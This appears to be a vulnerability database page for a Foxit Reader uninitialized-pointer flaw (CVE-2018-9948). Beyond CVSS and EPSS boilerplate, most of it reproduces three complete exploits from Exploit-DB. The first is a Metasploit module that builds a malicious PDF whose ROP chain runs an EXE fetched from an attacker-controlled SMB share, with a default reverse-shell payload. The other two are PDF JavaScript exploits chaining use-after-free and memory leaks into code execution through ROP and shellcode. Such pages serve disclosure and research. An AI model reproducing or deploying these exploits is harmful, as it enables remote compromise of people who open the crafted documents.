Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-824 |
Access of Uninitialized Pointer The product accesses or uses a pointer that has not been initialized. |
|
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
6.5 |
MEDIUM |
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
4.3 |
|
AV:N/AC:M/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45269
Publication date : 2018-08-26 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
'Description' => %q{
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
in the Text Annotations component and the TypedArray's use
uninitialized pointers.
The vulnerabilities can be combined to leak a vtable memory address,
which can be adjusted to point to the base address of the executable.
A ROP chain can be constructed that will execute when Foxit Reader
performs the UAF.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me', # Use-after-free and PoC
'bit from meepwn', # Uninitialized pointer
'saelo', # JavaScript Garbage Collector
'Jacob Robles' # Metasploit Module
],
'References' =>
[
['CVE', '2018-9948'],
['CVE', '2018-9958'],
['ZDI', '18-332'],
['ZDI', '18-342'],
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true,
'FILENAME' => 'test.pdf',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Targets' =>
[
['Windows 10 Pro x64 Build 17134', {}]
],
'DisclosureDate' => 'Apr 20 2018',
'DefaultTarget' => 0))
register_options([
OptString.new('EXENAME', [false, 'EXE file to download', '']),
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
])
end
def pdfdoc
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
fname << '.exe' unless fname.ends_with?('.exe')
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
num = 4 - (share_path.length % 4)
share_path << "\x00"*num
return nil if share_path.length > 44
print_status("share_path: #{share_path}")
rop = ''
max_index = 0
share_path.unpack('V*').each_with_index {|blk, index|
rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
max_index = index
}
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
<<~PDFDOC
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
#{rop}
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
PDFDOC
end
def exploit
mypdf = pdfdoc
if mypdf.nil?
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
end
file_create(mypdf)
end
end
Exploit Database EDB-ID : 45163
Publication date : 2018-08-06 22h00 +00:00
Author : Manoj Ahuje
EDB Verified : No
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
/*
# Exploit Title: Foxit Reader 9.0.1.1049 - Buffer Overflow (ASLR)(DEP)
# Date: 2018-08-04
# Exploit Author: Manoj Ahuje
# Tested on: Windows 7 Pro (x32)
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: Foxit Reader 9.0.1.1049
# CVE: N/A
# Credits to "Mr_Me" for Reseach and initial exploit
#Details:
#This exploit make use heap space to store the shellcode in addition to UAF bypassing ASLR and DEP to get successful payload execution
*/
var heap_ptr = 0;
var foxit_base = 0;
function heap_spray(size){
var arr = new Array(size);
for (var i = 0; i < arr.length; i++) {
// re-claim and stack pivot-0x8
arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8
var claimed = new Int32Array(arr[i]);
var c_length = claimed.length;
/* custom made ROP chain virtualalloc call
Author: Manoj Ahuje */
claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN
claimed[0x01] = foxit_base + 0x01A65184;
claimed[0x02] = foxit_base + 0x01A65184;
claimed[0x03] = foxit_base + 0x01A65184;
claimed[0x04] = foxit_base + 0x14f9195; // # POP EBX # RETN
claimed[0x05] = foxit_base + 0x41414141; //
claimed[0x06] = foxit_base + 0x1f224fc; // # ptr to &VirtualProtect()
claimed[0x07] = foxit_base + 0x0e70281; // # MOV ESI,DWORD PTR DS:[EBX] # RETN
claimed[0x08] = foxit_base + 0x1582698; // # POP EBP # RETN
claimed[0x09] = foxit_base + 0xa0dbd; // # & jmp esp
claimed[0x0a] = foxit_base + 0x14ed06d; // # POP EBX # RETN
claimed[0x0b] = 0x00000201; // # 0x00000201-> ebx
claimed[0x0c] = foxit_base + 0x1e62f7e; // # POP EDX # RETN
claimed[0x0d] = 0x00000040; // # 0x00000040-> edx
claimed[0x0e] = foxit_base + 0x1ec06a9; // # POP ECX # RETN
claimed[0x0f] = foxit_base + 0x29bac74; // # &Writable location
claimed[0x10] = foxit_base + 0xb971f; // # POP EDI # RETN
claimed[0x11] = foxit_base + 0x177769e; // # RETN (ROP NOP)
claimed[0x12] = foxit_base + 0x1A89808; // # POP EAX # RETN
claimed[0x13] = 0x90909090; // # nop
claimed[0x14] = foxit_base + 0x129d4f0; // # PUSHAD # RETN
claimed[0x15] = 0x90909090;
claimed[0x16] = 0x90909090;
claimed[0x17] = 0x90909090;
claimed[0x18] = 0x90909090;
claimed[0x19] = 0x90909090;
claimed[0x1a] = 0x90909090;
//regular CALCULATOR shellcode
claimed[0x1b] = 0xe5d9e389;
claimed[0x1c] = 0x5af473d9;
claimed[0x1d] = 0x4a4a4a4a;
claimed[0x1e] = 0x4a4a4a4a;
claimed[0x1f] = 0x434a4a4a;
claimed[0x20] = 0x43434343;
claimed[0x21] = 0x59523743;
claimed[0x22] = 0x5058416a;
claimed[0x23] = 0x41304130;
claimed[0x24] = 0x5141416b;
claimed[0x25] = 0x32424132;
claimed[0x26] = 0x42304242;
claimed[0x27] = 0x58424142;
claimed[0x28] = 0x42413850;
claimed[0x29] = 0x49494a75;
claimed[0x2a] = 0x4e586b6c;
claimed[0x2b] = 0x57306362;
claimed[0x2c] = 0x53707770;
claimed[0x2d] = 0x6b696e50;
claimed[0x2e] = 0x39716455;
claimed[0x2f] = 0x6e645050;
claimed[0x30] = 0x6470426b;
claimed[0x31] = 0x434b6c70;
claimed[0x32] = 0x6e6c3662;
claimed[0x33] = 0x7562436b;
claimed[0x34] = 0x526b6e44;
claimed[0x35] = 0x46686452;
claimed[0x36] = 0x5037386f;
claimed[0x37] = 0x6446764a;
claimed[0x38] = 0x4e4f4b71;
claimed[0x39] = 0x354c774c;
claimed[0x3a] = 0x776c6131;
claimed[0x3b] = 0x374c7672;
claimed[0x3c] = 0x5a614a50;
claimed[0x3d] = 0x374d746f;
claimed[0x3e] = 0x38573971;
claimed[0x3f] = 0x30525a62;
claimed[0x40] = 0x6e376652;
claimed[0x41] = 0x6252506b;
claimed[0x42] = 0x624b6c30;
claimed[0x43] = 0x6c4c576a;
claimed[0x44] = 0x476c524b;
claimed[0x45] = 0x6d387461;
claimed[0x46] = 0x43587133;
claimed[0x47] = 0x50513831;
claimed[0x48] = 0x334b6c51;
claimed[0x49] = 0x35506769;
claimed[0x4a] = 0x6e534851;
claimed[0x4b] = 0x7539576b;
claimed[0x4c] = 0x54736948;
claimed[0x4d] = 0x4e79637a;
claimed[0x4e] = 0x6c64356b;
claimed[0x4f] = 0x6a51354b;
claimed[0x50] = 0x39514676;
claimed[0x51] = 0x6f4c6e6f;
claimed[0x52] = 0x444f4831;
claimed[0x53] = 0x4861364d;
claimed[0x54] = 0x6b783447;
claimed[0x55] = 0x69357450;
claimed[0x56] = 0x73337366;
claimed[0x57] = 0x5568494d;
claimed[0x58] = 0x474d436b;
claimed[0x59] = 0x68357454;
claimed[0x5a] = 0x4e686364;
claimed[0x5b] = 0x6638466b;
claimed[0x5c] = 0x59313344;
claimed[0x5d] = 0x6c766143;
claimed[0x5e] = 0x506c664b;
claimed[0x5f] = 0x504b4c4b;
claimed[0x60] = 0x656c4758;
claimed[0x61] = 0x6c436951;
claimed[0x62] = 0x6e34634b;
claimed[0x63] = 0x6831436b;
claimed[0x64] = 0x61694e50;
claimed[0x65] = 0x65746554;
claimed[0x66] = 0x514b5174;
claimed[0x67] = 0x7351734b;
claimed[0x68] = 0x427a6269;
claimed[0x69] = 0x396f6971;
claimed[0x6a] = 0x734f5170;
claimed[0x6b] = 0x4e6a436f;
claimed[0x6c] = 0x7832526b;
claimed[0x6d] = 0x316d4e6b;
claimed[0x6e] = 0x675a534d;
claimed[0x6f] = 0x4f4d6c71;
claimed[0x70] = 0x57324875;
claimed[0x71] = 0x43707770;
claimed[0x72] = 0x61306630;
claimed[0x73] = 0x6e514678;
claimed[0x74] = 0x6e6f706b;
claimed[0x75] = 0x6b6f5967;
claimed[0x76] = 0x784b4f65;
claimed[0x77] = 0x39656d70;
claimed[0x78] = 0x73565032;
claimed[0x79] = 0x6c666c58;
claimed[0x7a] = 0x6d6d4d55;
claimed[0x7b] = 0x496f494d;
claimed[0x7c] = 0x456c6545;
claimed[0x7d] = 0x454c7356;
claimed[0x7e] = 0x6b306b5a;
claimed[0x7f] = 0x5370394b;
claimed[0x80] = 0x4d453445;
claimed[0x81] = 0x6567426b;
claimed[0x82] = 0x70426343;
claimed[0x83] = 0x376a506f;
claimed[0x84] = 0x6b336670;
claimed[0x85] = 0x3045694f;
claimed[0x86] = 0x72313563;
claimed[0x87] = 0x7633654c;
claimed[0x88] = 0x4235754e;
claimed[0x89] = 0x67354558;
claimed[0x8a] = 0x00414170;
for (var j = 0x8b; j < c_length; j++) {
claimed[j] = 0x6d616e6a;
}
}
}
function leak(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found By: bit from meepwn team
*/
// alloc
var a = this.addAnnot({type: "Text"});
// free
a.destroy();
// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
// leak the vftable
var leaked = stolen[0] & 0xffff0000;
// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)
foxit_base = leaked-0x01f50000;
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = 0x11000048;
for (var j = 0x01; j < rop.length; j++) {
rop[j] = 0x71727374;
}
}
}
function trigger_uaf(){
/*
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
Found By: Steven Seeley (mr_me) of Source Incite
*/
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
// free
that.getAnnot(0, "uaf").destroy();
// reclaim freed memory
reclaim();
return 1;
}
}
});
a.point = arr;
}
leak();
heap_spray(0x1000);
trigger_uaf();
)>> trailer <</Root 1 0 R>>
Exploit Database EDB-ID : 44941
Publication date : 2018-06-24 22h00 +00:00
Author : mr_me
EDB Verified : Yes
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
/*
Foxit Reader Remote Code Execution Exploit
==========================================
Written by: Steven Seeley (mr_me) of Source Incite
Date: 22/06/2018
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)
Tested on:
1. Windows 7 Ultimate x86 build 6.1.7601 sp1
2. Windows 10 Pro x86 v1803 build 10.0.17134
Vulnerabilities leveraged:
1. CVE-2018-9948
2. CVE-2018-9958
*/
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
/*
This function prepares the heap state between allocations
and frees to get a predictable memory address back.
*/
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
/*
This is a simple garbage collector, written by the notorious @saelo
Greetz, mi amigo.
*/
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
/*
This is the function that allocates at the leaked address
*/
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
/*
This is the function that fills the memory address that we leaked
*/
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/
// alloc
var a = this.addAnnot({type: "Text"});
// free
a.destroy();
gc();
// kinda defeat lfh randomization in win 10
prepare_heap(0x400);
// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
// leak the vtable
var leaked = stolen[0] & 0xffff0000;
// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/
// alloc
var a = this.addAnnot({type: "Text"});
// free
a.destroy();
// kinda defeat lfh randomization in win 10
prepare_heap(0x400);
// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
// alloc at the freed location
alloc_at_leak();
// leak a heap chunk of size 0x40
heap_ptr = stolen[1];
}
function reclaim(){
/*
This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
*/
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
rop[0x0c] = 0x636c6163; // calc
rop[0x0d] = 0x00000000; // adios, amigo
for (var j = 0x0e; j < rop.length; j++) {
rop[j] = 0x71727374;
}
}
}
function trigger_uaf(){
/*
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
Found by: Steven Seeley (mr_me) of Source Incite
*/
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
// free
that.getAnnot(0, "uaf").destroy();
// reclaim freed memory
reclaim();
return 1;
}
}
});
// re-use
a.point = arr;
}
function main(){
// 1. Leak a heap chunk of size 0x40
leak_heap_chunk();
// 2. Leak vtable and calculate the base of Foxit Reader
leak_vtable();
// 3. Then fill the memory region from step 1 with a stack pivot
control_memory();
// 4. Trigger the uaf, reclaim the memory, pivot to rop and win
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
Products Mentioned
Configuraton 0
Foxitsoftware>>Foxit_reader >> Version To (including) 9.0.1.1049
Foxitsoftware>>Phantompdf >> Version To (including) 9.0.1.1049
References